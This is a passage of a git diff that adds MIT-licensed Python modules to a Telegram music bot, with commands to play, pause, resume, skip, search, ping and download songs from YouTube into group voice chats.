admin_check, close_key, is_streaming, stream_off + + +@app.on_message(filters.command(["pause"]) & filters.group) +@admin_check +async def pause_str(_, message: Message): + try: + await message.delete() + except: + pass + + if not await is_streaming(message.chat.id): + return await message.reply_text( + "𝘿𝙞𝙙 𝙔𝙤𝙪 𝙍𝙚𝙢𝙚𝙢𝙗𝙚𝙧 𝙏𝙝𝙖𝙩 𝙔𝙤𝙪 𝙍𝙚𝙨𝙪𝙢𝙚𝙙 𝙏𝙝𝙚 𝙎𝙩𝙧𝙚𝙖𝙢? " + ) + + await pytgcalls.pause_stream(message.chat.id) + await stream_off(message.chat.id) + return await message.reply_text( + text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙋𝙖𝙪𝙨𝙚𝙙\n│ \n└𝘽𝙮 : {message.from_user.mention} ", + reply_markup=close_key, + ) diff --git a/GJ516Music/Modules/ping.py b/GJ516Music/Modules/ping.py new file mode 100644 index 0000000..fa35edf --- /dev/null +++ b/GJ516Music/Modules/ping.py @@ -0,0 +1,66 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import time +from datetime import datetime + +import psutil +from pyrogram import filters +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message + +import config +from GJ516Music import BOT_NAME, StartTime, app +from GJ516Music.Helpers import get_readable_time + + +@app.on_message(filters.command("ping")) +async def ping_fallen(_, message: Message): + hmm = await message.reply_photo( + photo=config.PING_IMG, caption=f"{BOT_NAME} 𝙄𝙨 𝙋𝙞𝙣𝙜𝙞𝙣𝙜...." + ) + upt = int(time.time() - StartTime) + cpu = psutil.cpu_percent(interval=0.5) + mem = psutil.virtual_memory().percent + disk = psutil.disk_usage("/").percent + start = datetime.now() + resp = (datetime.now() - start).microseconds / 1000 + uptime = get_readable_time((upt)) + + await hmm.edit_text( + f"""𝙋𝙤𝙣𝙜 : `{resp}𝙈𝙨` + +{BOT_NAME} 𝙎𝙮𝙨𝙩𝙚𝙢 𝙎𝙩𝙖𝙩𝙨 : + +✾ **𝙐𝙥𝙩𝙞𝙢𝙚 :** {uptime} +✾ **𝙍𝙖𝙢 :** {mem} +✾ **𝘾𝙥𝙪 :** {cpu} +✾ **𝘿𝙞𝙨𝙠 :** {disk} + +||𝙈𝙖𝙙𝙚 𝘽𝙮 : [ــ٨ﮩﮩ𝗝♡𝗬💸](https://t.me/export_gabbar) || """, + reply_markup=InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton("❰𝙂𝙧𝙤𝙪𝙥❱", url=config.SUPPORT_CHAT) + ], + ] + ), + ) diff --git a/GJ516Music/Modules/play.py b/GJ516Music/Modules/play.py new file mode 100644 index 0000000..ddc771c --- /dev/null +++ b/GJ516Music/Modules/play.py @@ -0,0 +1,258 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import asyncio +import os + +from pyrogram import filters +from pyrogram.enums import ChatMemberStatus +from pyrogram.errors import ( + ChatAdminRequired, + UserAlreadyParticipant, + UserNotParticipant, +) +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message +from pytgcalls import StreamType +from pytgcalls.exceptions import NoActiveGroupCall, TelegramServerError, UnMuteNeeded +from pytgcalls.types import AudioPiped, HighQualityAudio +from youtube_search import YoutubeSearch + +from config import DURATION_LIMIT +from GJ516Music import ( + ASS_ID, + ASS_MENTION, + ASS_NAME, + ASS_USERNAME, + BOT_NAME, + BOT_USERNAME, + LOGGER, + app, + app2, + GJ516db, + pytgcalls, +) +from GJ516Music.Helpers.active import add_active_chat, is_active_chat, stream_on +from GJ516Music.Helpers.downloaders import audio_dl +from GJ516Music.Helpers.errors import DurationLimitError +from GJ516Music.Helpers.gets import get_file_name, get_url +from GJ516Music.Helpers.inline import buttons +from GJ516Music.Helpers.queue import put +from GJ516Music.Helpers.thumbnails import gen_qthumb, gen_thumb + + +@app.on_message( + filters.command(["play", "vplay", "p"]) + & filters.group + & ~filters.forwarded + & ~filters.via_bot +) +async def play(_, message: Message): + GJ516 = await message.reply_text("» 𝙋𝙧𝙤𝙘𝙚𝙨𝙨𝙞𝙣𝙜, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙒𝙖𝙞𝙩 ........") + try: + await message.delete() + except: + pass + + try: + try: + get = await app.get_chat_member(message.chat.id, ASS_ID) + except ChatAdminRequired: + return await GJ516.edit_text( + f"» 𝙄 𝙙𝙤𝙣'𝙩 𝙃𝙖𝙫𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 𝙐𝙨𝙚𝙧𝙨 𝙑𝙞𝙖 𝙇𝙞𝙣𝙠 𝙁𝙤𝙧 𝙄𝙣𝙫𝙞𝙩𝙞𝙣𝙜 {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙏𝙤 {message.chat.title}." + ) + if get.status == ChatMemberStatus.BANNED: + unban_butt = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + text=f"𝙐𝙣𝙗𝙖𝙣 {ASS_NAME}", + callback_data=f"unban_assistant {message.chat.id}|{ASS_ID}", + ), + ] + ] + ) + return await GJ516.edit_text( + text=f"» {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙄𝙨 𝘽𝙖𝙣 𝙄𝙣 {message.chat.title}\n\n☍ 𝙄𝙙 : `{ASS_ID}`\n☍ 𝙉𝙖𝙢𝙚 : {ASS_MENTION}\n☍ 𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚 : @{ASS_USERNAME}\n\nᴘʟᴇᴀsᴇ ᴜɴʙᴀɴ ᴛʜᴇ ᴀssɪsᴛᴀɴᴛ ᴀɴᴅ ᴘʟᴀʏ ᴀɢᴀɪɴ...", + reply_markup=unban_butt, + ) + except UserNotParticipant: + if message.chat.username: + invitelink = message.chat.username + try: + await app2.resolve_peer(invitelink) + except Exception as ex: + LOGGER.error(ex) + else: + try: + invitelink = await app.export_chat_invite_link(message.chat.id) + except ChatAdminRequired: + return await GJ516.edit_text( + f"» 𝙄 𝙙𝙤𝙣'𝙩 𝙃𝙖𝙫𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 𝙐𝙨𝙚𝙧𝙨 𝙑𝙞𝙖 𝙇𝙞𝙣𝙠 𝙁𝙤𝙧 𝙄𝙣𝙫𝙞𝙩𝙞𝙣𝙜 {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙏𝙤 {message.chat.title}." + ) + except Exception as ex: + return await GJ516.edit_text( + f"𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙏𝙤 {message.chat.title}.\n\n**𝙍𝙚𝙖𝙨𝙤𝙣 :** `{ex}`" + ) + if invitelink.startswith("https://t.me/+"): + invitelink = invitelink.replace("https://t.me/+", "https://t.me/joinchat/") + anon = await GJ516.edit_text( + f"𝙋𝙡𝙚𝙖𝙨𝙚 𝙒𝙖𝙞𝙩....\n\n𝙄𝙣𝙫𝙞𝙩𝙞𝙣𝙜 {ASS_NAME} ᴛᴏ {message.chat.title}." + ) + try: + await app2.join_chat(invitelink) + await asyncio.sleep(2) + await GJ516.edit_text( + f"{ASS_NAME} 𝙅𝙤𝙞𝙣𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮,\n\n𝙎𝙩𝙖𝙧𝙩𝙞𝙣𝙜 𝙎𝙩𝙧𝙚𝙖𝙢....." + ) + except UserAlreadyParticipant: + pass + except Exception as ex: + return await GJ516.edit_text( + f"𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙏𝙤 {message.chat.title}.\n\n**𝙍𝙚𝙖𝙨𝙤𝙣 :** `{ex}`" + ) + try: + await app2.resolve_peer(invitelink) + except: + pass + + ruser = message.from_user.first_name + audio = ( + (message.reply_to_message.audio or message.reply_to_message.voice) + if message.reply_to_message + else None + ) + url = get_url(message) + if audio: + if round(audio.duration / 60) > DURATION_LIMIT: + raise DurationLimitError( + f"»𝙎𝙤𝙧𝙧𝙮, 𝙏𝙧𝙖𝙘𝙠 𝙇𝙤𝙣𝙜𝙚𝙧 𝙏𝙝𝙖𝙣 {DURATION_LIMIT} 𝙈𝙞𝙣 𝘼𝙧𝙚 𝙉𝙤𝙩 𝘼𝙡𝙡𝙤𝙬𝙚𝙙 𝙏𝙤 𝙥𝙡𝙖𝙮 𝙤𝙣 {BOT_NAME}." + ) + + file_name = get_file_name(audio) + title = file_name + duration = round(audio.duration / 60) + file_path = ( + await message.reply_to_message.download(file_name) + if not os.path.isfile(os.path.join("downloads", file_name)) + else f"downloads/{file_name}" + ) + + elif url: + try: + results = YoutubeSearch(url, max_results=1).to_dict() + title = results[0]["title"] + duration = results[0]["duration"] + videoid = results[0]["id"] + + secmul, dur, dur_arr = 1, 0, duration.split(":") + for i in range(len(dur_arr) - 1, -1, -1): + dur += int(dur_arr[i]) * secmul + secmul *= 60 + + except Exception as e: + return await GJ516.edit_text(f"𝙎𝙤𝙢𝙚𝙩𝙝𝙞𝙣𝙜 𝙒𝙚𝙣𝙩 𝙒𝙧𝙤𝙣𝙜\n\n**𝙀𝙧𝙧𝙤𝙧:** `{e}`") + + if (dur / 60) > DURATION_LIMIT: + return await GJ516.edit_text( + f"»𝙎𝙤𝙧𝙧𝙮, 𝙏𝙧𝙖𝙘𝙠 𝙇𝙤𝙣𝙜𝙚𝙧 𝙏𝙝𝙖𝙣 {DURATION_LIMIT} 𝙈𝙞𝙣 𝘼𝙧𝙚 𝙉𝙤𝙩 𝘼𝙡𝙡𝙤𝙬𝙚𝙙 𝙏𝙤 𝙥𝙡𝙖𝙮 𝙤𝙣 {BOT_NAME}." + ) + file_path = audio_dl(url) + else: + if len(message.command) < 2: + return await GJ516.edit_text(" 𝙂𝙞𝙫𝙚 𝙈𝙚 𝙔𝙤𝙪𝙧 𝙌𝙪𝙚𝙧𝙮 𝙒𝙝𝙞𝙘𝙝 𝙔𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙋𝙡𝙖𝙮 ?") + await GJ516.edit_text("⚡") + query = message.text.split(None, 1)[1] + try: + results = YoutubeSearch(query, max_results=1).to_dict() + url = f"https://youtube.com{results[0]['url_suffix']}" + title = results[0]["title"] + videoid = results[0]["id"] + duration = results[0]["duration"] + + secmul, dur, dur_arr = 1, 0, duration.split(":") + for i in range(len(dur_arr) - 1, -1, -1): + dur += int(dur_arr[i]) * secmul + secmul *= 60 + + except Exception as e: + LOGGER.error(str(e)) + return await GJ516.edit("𝙁𝙖𝙞𝙡𝙚𝙙 𝙩𝙤 𝙋𝙧𝙤𝙘𝙚𝙨𝙨 𝙦𝙪𝙚𝙧𝙮, 𝙏𝙧𝙮 𝙋𝙡𝙖𝙮𝙞𝙣𝙜 𝙖𝙜𝙖𝙞𝙣......") + + if (dur / 60) > DURATION_LIMIT: + return await GJ516.edit( + f"»𝙎𝙤𝙧𝙧𝙮, 𝙏𝙧𝙖𝙘𝙠 𝙇𝙤𝙣𝙜𝙚𝙧 𝙏𝙝𝙖𝙣 {DURATION_LIMIT} 𝙈𝙞𝙣 𝘼𝙧𝙚 𝙉𝙤𝙩 𝘼𝙡𝙡𝙤𝙬𝙚𝙙 𝙏𝙤 𝙥𝙡𝙖𝙮 𝙤𝙣 {BOT_NAME}." + ) + file_path = audio_dl(url) + + try: + videoid = videoid + except: + videoid = "fuckitstgaudio" + if await is_active_chat(message.chat.id): + await put( + message.chat.id, + title, + duration, + videoid, + file_path, + ruser, + message.from_user.id, + ) + position = len(GJ516db.get(message.chat.id)) + qimg = await gen_qthumb(videoid, message.from_user.id) + await message.reply_photo( + photo=qimg, + caption=f"**⏳ 𝘼𝙙𝙙𝙚𝙙 𝙩𝙤 𝙌𝙪𝙚𝙪𝙚 𝙖𝙩 {position}**\n\n💡 **𝙏𝙞𝙩𝙡𝙚 :** [{title[:27]}](https://t.me/{BOT_USERNAME}?start=info_{videoid})\n⏱ **𝘿𝙪𝙧𝙖𝙩𝙞𝙤𝙣 :** `{duration}` ᴍɪɴᴜᴛᴇs\n👤 **𝘼𝙙𝙙𝙚𝙙 𝘽𝙮 :** {ruser}", + reply_markup=buttons, + ) + else: + stream = AudioPiped(file_path, audio_parameters=HighQualityAudio()) + try: + await pytgcalls.join_group_call( + message.chat.id, + stream, + stream_type=StreamType().pulse_stream, + ) + + except NoActiveGroupCall: + return await GJ516.edit_text( + "**𝙉𝙤 𝘼𝙘𝙩𝙞𝙫𝙚 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩 𝙁𝙤𝙪𝙣𝙙..**\n\n𝙋𝙡𝙚𝙖𝙨𝙚 𝙈𝙖𝙠𝙚 𝙎𝙪𝙧𝙚 𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝙏𝙝𝙚 𝙑𝙤𝙞𝙘𝙚𝘾𝙝𝙖𝙩 .." + ) + except TelegramServerError: + return await GJ516.edit_text( + "»𝙏𝙚𝙡𝙚𝙜𝙧𝙖𝙢 𝙞𝙨 𝙝𝙖𝙫𝙞𝙣𝙜 𝙎𝙤𝙢𝙚 𝙄𝙣𝙩𝙚𝙧𝙣𝙖𝙡 𝙋𝙧𝙤𝙗𝙡𝙚𝙢, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙍𝙚𝙨𝙩𝙖𝙧𝙩 𝙏𝙝𝙚 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩 𝘼𝙣𝙙 𝙏𝙧𝙮 𝘼𝙜𝙖𝙞𝙣." + ) + except UnMuteNeeded: + return await GJ516.edit_text( + f"» {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙞𝙨 𝙈𝙪𝙩𝙚𝙙 𝙊𝙣 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩,\n\n𝙋𝙡𝙚𝙖𝙨𝙚 𝙐𝙣𝙢𝙪𝙩𝙚 {ASS_MENTION} 𝙊𝙣 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩 𝘼𝙣𝙙 𝙏𝙧𝙮 𝙋𝙡𝙖𝙮𝙞𝙣𝙜 𝘼𝙜𝙖𝙞𝙣." + ) + + imgt = await gen_thumb(videoid, message.from_user.id) + await stream_on(message.chat.id) + await add_active_chat(message.chat.id) + await message.reply_photo( + photo=imgt, + caption=f"**📡 𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 💡**\n\n💡 **𝙏𝙞𝙩𝙡𝙚 :** [{title[:27]}](https://t.me/{BOT_USERNAME}?start=info_{videoid})\n👤 **𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝘽𝙮 :** {ruser}", + reply_markup=buttons, + ) + + return await GJ516.delete() diff --git a/GJ516Music/Modules/resume.py b/GJ516Music/Modules/resume.py new file mode 100644 index 0000000..e962c11 --- /dev/null +++ b/GJ516Music/Modules/resume.py @@ -0,0 +1,45 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.types import Message + +from GJ516Music import app, pytgcalls +from GJ516Music.Helpers import admin_check, close_key, is_streaming, stream_on + + +@app.on_message(filters.command(["resume"]) & filters.group) +@admin_check +async def res_str(_, message: Message): + try: + await message.delete() + except: + pass + + if await is_streaming(message.chat.id): + return await message.reply_text("𝘿𝙞𝙙 𝙔𝙤𝙪 𝙍𝙚𝙢𝙚𝙢𝙗𝙚𝙧 𝙏𝙝𝙖𝙩 𝙮𝙤𝙪 𝙋𝙖𝙪𝙨𝙚𝙙 𝙏𝙝𝙚 𝙎𝙩𝙧𝙚𝙖𝙢 ?") + await stream_on(message.chat.id) + await pytgcalls.resume_stream(message.chat.id) + return await message.reply_text( + text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙍𝙚𝙨𝙪𝙢𝙚𝙙\n│ \n└𝘽𝙮 : {message.from_user.mention} 🥀", + reply_markup=close_key, + ) diff --git a/GJ516Music/Modules/search.py b/GJ516Music/Modules/search.py new file mode 100644 index 0000000..9076757 --- /dev/null +++ b/GJ516Music/Modules/search.py @@ -0,0 +1,67 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message +from youtube_search import YoutubeSearch + +from GJ516Music import app + + +@app.on_message(filters.command(["search"])) +async def ytsearch(_, message: Message): + try: + await message.delete() + except: + pass + try: + if len(message.command) < 2: + return await message.reply_text("𝙂𝙞𝙫𝙚 𝙎𝙤𝙢𝙚 𝙏𝙚𝙭𝙩 𝙏𝙤 𝙎𝙚𝙖𝙧𝙘𝙝 !") + query = message.text.split(None, 1)[1] + m = await message.reply_text("💸") + results = YoutubeSearch(query, max_results=4).to_dict() + i = 0 + text = "" + while i < 4: + text += f"✨ 𝙏𝙞𝙩𝙡𝙚 : {results[i]['title']}\n" + text += f"⏱ 𝘿𝙪𝙧𝙖𝙩𝙞𝙤𝙣 : `{results[i]['duration']}`\n" + text += f"👀 𝙑𝙞𝙚𝙬𝙨 : `{results[i]['views']}`\n" + text += f"📣 𝘾𝙝𝙖𝙣𝙣𝙚𝙡 : {results[i]['channel']}\n" + text += f"🔗 𝙇𝙞𝙣𝙠 : https://youtube.com{results[i]['url_suffix']}\n\n" + i += 1 + key = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + text="❰𝗖𝗹𝗼𝘀𝗲❱ ", + callback_data=f"forceclose abc|{message.from_user.id}", + ), + ] + ] + ) + await m.edit_text( + text=text, + reply_markup=key, + disable_web_page_preview=True, + ) + except Exception as e: + await message.reply_text(str(e)) diff --git a/GJ516Music/Modules/skip.py b/GJ516Music/Modules/skip.py new file mode 100644 index 0000000..b081328 --- /dev/null +++ b/GJ516Music/Modules/skip.py @@ -0,0 +1,77 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.types import Message +from pytgcalls.types import AudioPiped, HighQualityAudio + +from GJ516Music import BOT_USERNAME, app, GJ516db, pytgcalls +from GJ516Music.Helpers import _clear_, admin_check, buttons, close_key, gen_thumb + + +@app.on_message(filters.command(["skip", "next"]) & filters.group) +@admin_check +async def skip_str(_, message: Message): + try: + await message.delete() + except: + pass + get = GJ516db.get(message.chat.id) + if not get: + try: + await _clear_(message.chat.id) + await pytgcalls.leave_group_call(message.chat.id) + await message.reply_text( + text=f"𝙎𝙩𝙚𝙖𝙢 𝙎𝙠𝙞𝙥𝙥𝙚𝙙\n│ \n└𝘽𝙮 : {message.from_user.mention} 🥀\n\n**𝙉𝙤 𝙈𝙤𝙧𝙚 𝙌𝙪𝙚𝙪𝙚𝙙 𝙏𝙧𝙖𝙘𝙠𝙨 𝙄𝙣** {message.chat.title}, **𝙇𝙚𝙖𝙫𝙞𝙣𝙜 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩.**", + reply_markup=close_key, + ) + except: + return + else: + title = get[0]["title"] + duration = get[0]["duration"] + file_path = get[0]["file_path"] + videoid = get[0]["videoid"] + req_by = get[0]["req"] + user_id = get[0]["user_id"] + get.pop(0) + + stream = AudioPiped(file_path, audio_parameters=HighQualityAudio()) + try: + await pytgcalls.change_stream( + message.chat.id, + stream, + ) + except: + await _clear_(message.chat.id) + return await pytgcalls.leave_group_call(message.chat.id) + + await message.reply_text( + text=f"𝙎𝙩𝙚𝙖𝙢 𝙎𝙠𝙞𝙥𝙥𝙚𝙙\n│ \n└𝘽𝙮 : {message.from_user.mention} 🥀", + reply_markup=close_key, + ) + img = await gen_thumb(videoid, user_id) + return await message.reply_photo( + photo=img, + caption=f"**📡 𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 💡**\n\n**💡𝙏𝙞𝙩𝙡𝙚:** [{title[:27]}](https://t.me/{BOT_USERNAME}?start=info_{videoid})\n **👤𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝘽𝙮:** {req_by}", + reply_markup=buttons, + ) diff --git a/GJ516Music/Modules/song.py b/GJ516Music/Modules/song.py new file mode 100644 index 0000000..e4cf4dd --- /dev/null +++ b/GJ516Music/Modules/song.py @@ -0,0 +1,119 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import os + +import requests +import yt_dlp +from pyrogram import filters +from pyrogram.enums import ChatType +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message +from youtube_search import YoutubeSearch + +from GJ516Music import BOT_MENTION, BOT_USERNAME, LOGGER, app + + +@app.on_message(filters.command(["song", "vsong", "video", "music"])) +async def song(_, message: Message): + try: + await message.delete() + except: + pass + m = await message.reply_text("🔎") + + query = "".join(" " + str(i) for i in message.command[1:]) + ydl_opts = {"format": "bestaudio[ext=m4a]"} + try: + results = YoutubeSearch(query, max_results=5).to_dict() + link = f"https://youtube.com{results[0]['url_suffix']}" + title = results[0]["title"][:40] + thumbnail = results[0]["thumbnails"][0] + thumb_name = f"thumb{title}.jpg" + thumb = requests.get(thumbnail, allow_redirects=True) + open(thumb_name, "wb").write(thumb.content) + duration = results[0]["duration"] + + except Exception as ex: + LOGGER.error(ex) + return await m.edit_text( + f"𝙁𝙖𝙞𝙡𝙚𝙙 𝙩𝙤 𝙁𝙚𝙩𝙘𝙝 𝙏𝙧𝙖𝙘𝙠 𝙁𝙧𝙤𝙢 𝙔𝙩-𝘿𝙡.\n\n**𝙍𝙚𝙖𝙨𝙤𝙣 :** `{ex}`" + ) + + await m.edit_text("𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙𝙞𝙣𝙜 𝙎𝙤𝙣𝙜,\n\n𝙋𝙡𝙚𝙖𝙨𝙚 𝙒𝙖𝙞𝙩...") + try: + with yt_dlp.YoutubeDL(ydl_opts) as ydl: + info_dict = ydl.extract_info(link, download=False) + audio_file = ydl.prepare_filename(info_dict) + ydl.process_info(info_dict) + rep = f"𒀭 **𝙏𝙞𝙩𝙡𝙚 :** [{title[:23]}]({link})\n𒀭 **𝘿𝙪𝙧𝙖𝙩𝙞𝙤𝙣 :** `{duration}`\n𒀭 **𝙐𝙥𝙡𝙤𝙖𝙙𝙚𝙙 𝘽𝙮 :** {BOT_MENTION}" + secmul, dur, dur_arr = 1, 0, duration.split(":") + for i in range(len(dur_arr) - 1, -1, -1): + dur += int(dur_arr[i]) * secmul + secmul *= 60 + try: + visit_butt = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton( + text="𝙔𝙤𝙪𝙏𝙪𝙗𝙚", + url=link, + ) + ] + ] + ) + await app.send_audio( + chat_id=message.from_user.id, + audio=audio_file, + caption=rep, + thumb=thumb_name, + title=title, + duration=dur, + reply_markup=visit_butt, + ) + if message.chat.type != ChatType.PRIVATE: + await message.reply_text( + "𝙋𝙡𝙚𝙖𝙨𝙚 